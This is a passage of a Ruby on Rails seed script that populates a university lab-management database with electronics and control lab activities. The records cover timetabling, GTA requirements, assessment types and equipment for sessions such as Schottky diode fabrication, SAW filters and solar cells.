ActivityTimetable.where(activity_id: a370.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a370.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a370.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a370.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a370.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a370.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a371 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6503\").first.id, code: \"232\").first_or_create!(name: \"Pantograph Robot\",\n name_abrv: \"Pant Rob\", archived: false, in_drive: false, user_id: 1)\n at371 = ActivityTimetable.where(activity_id: a371.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a371.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a371.id).first_or_create!(criteria: \"Must have a understanding for forward and inverse kinematic modelling for robotic systems. Must be proficient at MATLAB, and preferably have worked with LabVIEW, (although not essential).\",\n job_desc:\"During this laboratory session, the students will model and implement forward and inverse kinematic models for a close coupled robot system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a371.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a371.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a372 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE205\").first.id, code: \"233\").first_or_create!(name: \"Introduction to Feedback and PI Control Design\",\n name_abrv: \"GEE - T+F Servo\", archived: false, in_drive: false, user_id: 3)\n at372 = ActivityTimetable.where(activity_id: a372.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a372.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a372.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a372.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a372.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a372.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a373 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"234\").first_or_create!(name: \"MSc Mechatronics Design Project\",\n name_abrv: \"ACS6502 - Design Project\", archived: false, in_drive: false, user_id: 5)\n at373 = ActivityTimetable.where(activity_id: a373.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a373.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a373.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a373.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a373.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a374 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS130\").first.id, code: \"239\").first_or_create!(name: \"Design and Build Project - Software\",\n name_abrv: \"ShaddowBots-Soft\", archived: false, in_drive: false, user_id: 5)\n at374 = ActivityTimetable.where(activity_id: a374.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at374.id, room_id: $room_ec.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a374.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a374.id).first_or_create!(criteria: \"Must have experience of programming microcontrollers devices with C, and a basic working knowledge of electronic circuit construction.\",\n job_desc:\"This is the 1st year group design project. The students will be initially make a strip board circuit, for a PIC micro controller, and mount this to a two wheeled robot. The robot will be programmed, on C, to drive towards a beacon and avoid obstacles in its path.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a374.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a374.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n\n\n a375 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1006\").first.id, code: \"300\").first_or_create!(name: \"Cleanroom taster for COM\",\n name_abrv: \"SCHOTTKY- COM\", archived: false, in_drive: false, user_id: 4)\n at375 = ActivityTimetable.where(activity_id: a375.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a375.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"COM Schottky\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a375.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of basic testing of devices (IV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode (or possibly MESFET transistor) in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a375.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a375.id).first_or_create!(cost_per_student: nil, equip_needed: \"All equipment as per CCEE.1.06.002 and CCEE.1.06.003 except LCR meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a375.id, programme_id: $prog_com.id).first_or_create!\n\n\n a376 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"301\").first_or_create!(name: \"Group Project (Great Egg Race)\",\n name_abrv: \"GRP1\", archived: false, in_drive: false, user_id: 1)\n at376 = ActivityTimetable.where(activity_id: a376.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"210 minutes x 4 sessions (2 groups)\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a376.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"FYGER\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a376.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a376.id).first_or_create!(assess_weight: 8.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a376.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a376.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a377 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE380\").first.id, code: \"302\").first_or_create!(name: \"Individual Design Project\",\n name_abrv: \"IDP\", archived: false, in_drive: false, user_id: 3)\n at377 = ActivityTimetable.where(activity_id: a377.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Ad Hoc sessions, arranged between student and MEE staff\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a377.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Ind Design\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a377.id).first_or_create!(criteria: \"\",\n job_desc:\"GTAs sourced by EEE\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a377.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a377.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a377.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a378 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6213\").first.id, code: \"304\").first_or_create!(name: \"Resistivity measurements\",\n name_abrv: \"RES\", archived: false, in_drive: false, user_id: 1)\n at378 = ActivityTimetable.where(activity_id: a378.id).first_or_create!(duration: 180, kit_prep_time: 120, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 60, takedown_time: 30, notes: \"Each student comes to 2 sessions. Timetabling cannot happen until Masters students have chosen their modules - will be very last minute.\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a378.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a378.id).first_or_create!(criteria: \"\",\n job_desc:\"Assist MSc students with Electrical measurements (IV) using probe station.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a378.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a378.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a378.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a379 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"305\").first_or_create!(name: \"Schottky Diode 1: Photolithography\",\n name_abrv: \"SCHOTTKY1\", archived: false, in_drive: false, user_id: 3)\n at379 = ActivityTimetable.where(activity_id: a379.id).first_or_create!(duration: 210, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Schottky 1 and Schottky 2 need to be on consecutive days.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a379.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Schottky 1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a379.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of testing of devices (IV, CV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a379.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a379.id).first_or_create!(cost_per_student: nil, equip_needed: \"At least 1 mask aligner with camera, 1 microscope with camera and yellow light filter in yellow room, 1 spinner, both chemical stations within the yellow room, at least 1 hot plate, 8 pairs tweezers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a379.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a380 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"306\").first_or_create!(name: \"Schottky Diode 2: Metallisation and Test\",\n name_abrv: \"SCHOTTKY2\", archived: false, in_drive: false, user_id: 1)\n at380 = ActivityTimetable.where(activity_id: a380.id).first_or_create!(duration: 210, kit_prep_time: 120, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 45, notes: \"Schottky 1 and Schottky 2 need to be on consecutive days.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a380.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"Schottky 1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a380.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of testing of devices (IV, CV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a380.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a380.id).first_or_create!(cost_per_student: nil, equip_needed: \"1 thermal evaporator, 4 acetone-resistant 0.5 - 5ml pipettes, 3 solvent chemical stations, 3 hot plates, 1 ultrasound cleaning bath, 8 probe stations, 8 SMUs, 8 LCRs, 8 LCR bias adapters, 2 microscopes, 10 microscope cameras\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a380.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a381 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"MAT2220\").first.id, code: \"307\").first_or_create!(name: \"Schottky lab for MAT\",\n name_abrv: \"SCHOTTKY - MAT\", archived: false, in_drive: false, user_id: 4)\n at381 = ActivityTimetable.where(activity_id: a381.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a381.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"MAT Schottky\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a381.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of basic testing of devices (IV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a381.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a381.id).first_or_create!(cost_per_student: nil, equip_needed: \"All equipment as per CCEE.1.06.002 and CCEE.1.06.003 except LCR meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a381.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a382 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE228\").first.id, code: \"308\").first_or_create!(name: \"Second Year Design Exercise: SAW\",\n name_abrv: \"SYDE - SAW\", archived: false, in_drive: false, user_id: 2)\n at382 = ActivityTimetable.where(activity_id: a382.id).first_or_create!(duration: 210, kit_prep_time: 1000, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 60, takedown_time: 30, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a382.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a382.id).first_or_create!(criteria: \"Basic cleanroom skills plus at least some of these: Mask design (KLayout)\",\n job_desc:\"Assist ~20 Y2 EEE students to design, build and test a surface acoustic wave (SAW) filter.\n\n Description of project for UG students:\n In this exercise you will design, build and test a band pass filter that operates in the radio frequency (MHz) regime. Such filters are essential components in many modern electronic systems, including mobile phones, TVs and radar. \n\n It is possible to make filters using LCR (inductor, capacitor, resistor) networks, but such sytems are complicated and have low precission. Instead you will utilise the phenomenon of surface acoustic waves (SAWs) to make your own filter. SAWs are generated on the surface of piezo-electric crystals when they are excited by an electrical signal. The waves on the crystal travel nearly one million times slower than the speed of light, so, as well as enabling you to make a filter, they are also very important for making delay lines. Careful design of the interdigitated electrode structure on the lithium niobiate crystal will enable you to precisely define the performance of the filter. Each student will be given their own unique design specification (centre frequency, bandwidth). The design process will require you to use some of the concepts introduced in the Communication Electronics module (EEE227) and to use a computer-aided design (CAD) package. You will then make the filter using the extensive facilities in the Diamond cleanroom, including: mask manufacture; photolithography; plasma etching; metallisation; wet etching and wire bonding. You will then evaluate your filter using a vector network analyser. Care will be needed to ensure an impedence match between your filter and the test fixtures. The tests will involve measurement of frequency response of the filter and inspection of the output signals for signs of harmonic or other spurious signal generation. Assessment is by individual report and group presentation, with account taken of your performance at the design stage and in the laboratory.\", jobshop_desc: \"Photolithography\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a382.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a382.id).first_or_create!(cost_per_student: nil, equip_needed: \"Peter Trend, Abi Eades\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a382.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a383 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE228\").first.id, code: \"309\").first_or_create!(name: \"Second Year Design Exercise: Solar Cell\",\n name_abrv: \"SYDE - Solar\", archived: false, in_drive: false, user_id: 4)\n at383 = ActivityTimetable.where(activity_id: a383.id).first_or_create!(duration: 210, kit_prep_time: 2000, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a383.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a383.id).first_or_create!(criteria: \"\",\n job_desc:\"Assist ~20 Y2 EEE students to design, build and test a solar cell.\n\n Description of project for UG students:\n The project concerns the design, fabrication and measurement of photovoltaic (PV) solar cells which convert sunlight to electrical energy. PV cells are an important sustainable technology which can make an important contribution to reducing our dependence on fossil fuels. The devices consist of semiconductor p-n junctions within which light is absorbed to create electron-hole pairs which are swept out to the contracts by means of the built-in junction field. The type of semiconductor material and the design of the cell have a strong influence on the efficiency of energy conversion. However there are also widely varying costs of production which need to be factored in. The project will focus on two semiconductor materials of current interest (i) high efficiency, high cost PV cells made using the epitaxial semiconductor GaAs and (ii) lower efficiency, but relatively low cost cells made from thin film oxides (perovskytes). An important element of the project will be to contrast the performance of these cells and to understand the trade off between efficiency and cost for practical application. \n\n In the project, the students will fabricate and test solar cells made from these two materials. The students will design a fabrication sequence to be performed in the diamond clean room for the production of PV cells. An important step in the process concerns the optimisation of the metallic contacts to the semiconductors. The metals used and the design of the pattern for the front surface are of vital importance as they have an impact on the cells series resistance, fill factor and short circuit current. The students will chose the appropriate metals, write down an appropriate processing scheme and design their own contact mask. Following validation, they will then proceed to fabricate the cells and to mount these ready for measurement. On completion the cells will be evaluated electrically using a solar simulator to extract typical solar cell parameters.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a383.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a383.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a383.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a384 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE228\").first.id, code: \"310\").first_or_create!(name: \"Second Year Design Project\",\n name_abrv: \"SYDE\", archived: false, in_drive: false, user_id: 5)\n at384 = ActivityTimetable.where(activity_id: a384.id).first_or_create!(duration: 210, kit_prep_time: 540, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"210 minute session, 3 times a week for 7 weeks\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a384.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a384.id).first_or_create!(criteria: \"\",\n job_desc:\"https://sites.google.com/a/sheffield.ac.uk/gta-opportunities/gtaoppssem2/eeedesignexercises\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a384.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a384.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a384.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a385 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6395\").first.id, code: \"311\").first_or_create!(name: \"SPE Device fab\",\n name_abrv: \"SPE - Fab\", archived: false, in_drive: false, user_id: 1)\n at385 = ActivityTimetable.where(activity_id: a385.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 60, takedown_time: 30, notes: \"Timetabling cannot happen until Masters students have chosen their modules - will be very last minute. Currenlty looked into by Rick Smith.\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a385.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"SPE Device Fab\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a385.id).first_or_create!(criteria: \"Experience with electrical and optical characterization of LEDs and HEMTs.\",\n job_desc:\"During this module students manufacture GaN LEDs from scratch. GTA assistance is required for many of these stages. Some will take place in the North Campus, others in the Diamond. Experience in GaN processing, electrical and optical testing.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room (some labs delivered in North Campus clean rooms)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a385.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a385.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a385.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a386 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE163\").first.id, code: \"312\").first_or_create!(name: \"System Design Analysis\",\n name_abrv: \"Pull apart\", archived: false, in_drive: false, user_id: 4)\n at386 = ActivityTimetable.where(activity_id: a386.id).first_or_create!(duration: 180, kit_prep_time: 30, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"The 2018-19 Semester 2 timetable is a disaster. I need to be able to interleave my once-a- fortnight lectures with the labs (as per Diamond ethos!). I.e all students need to attend a lab once per fortnight. Maybe use some (not all!)  Friday PM sessions?\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a386.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Pull Apart\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a386.id).first_or_create!(criteria: \"Enquiring mind necessary and sound mechanical engineering skills. A background in electronics would be helpful but not essential.\",\n job_desc:\"Assist students with reverse engineering of items of consumer electronics (light bulbs, printers, telephones, data projectors, etc) and marking of lab report.\", jobshop_desc: \"GTA in MEE, the Diamond: System Design Analysis\", marking_time: 30, staff_ratio: nil)\n ActivityAssess.where(activity_id: a386.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a386.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a386.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a387 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1001\").first.id, code: 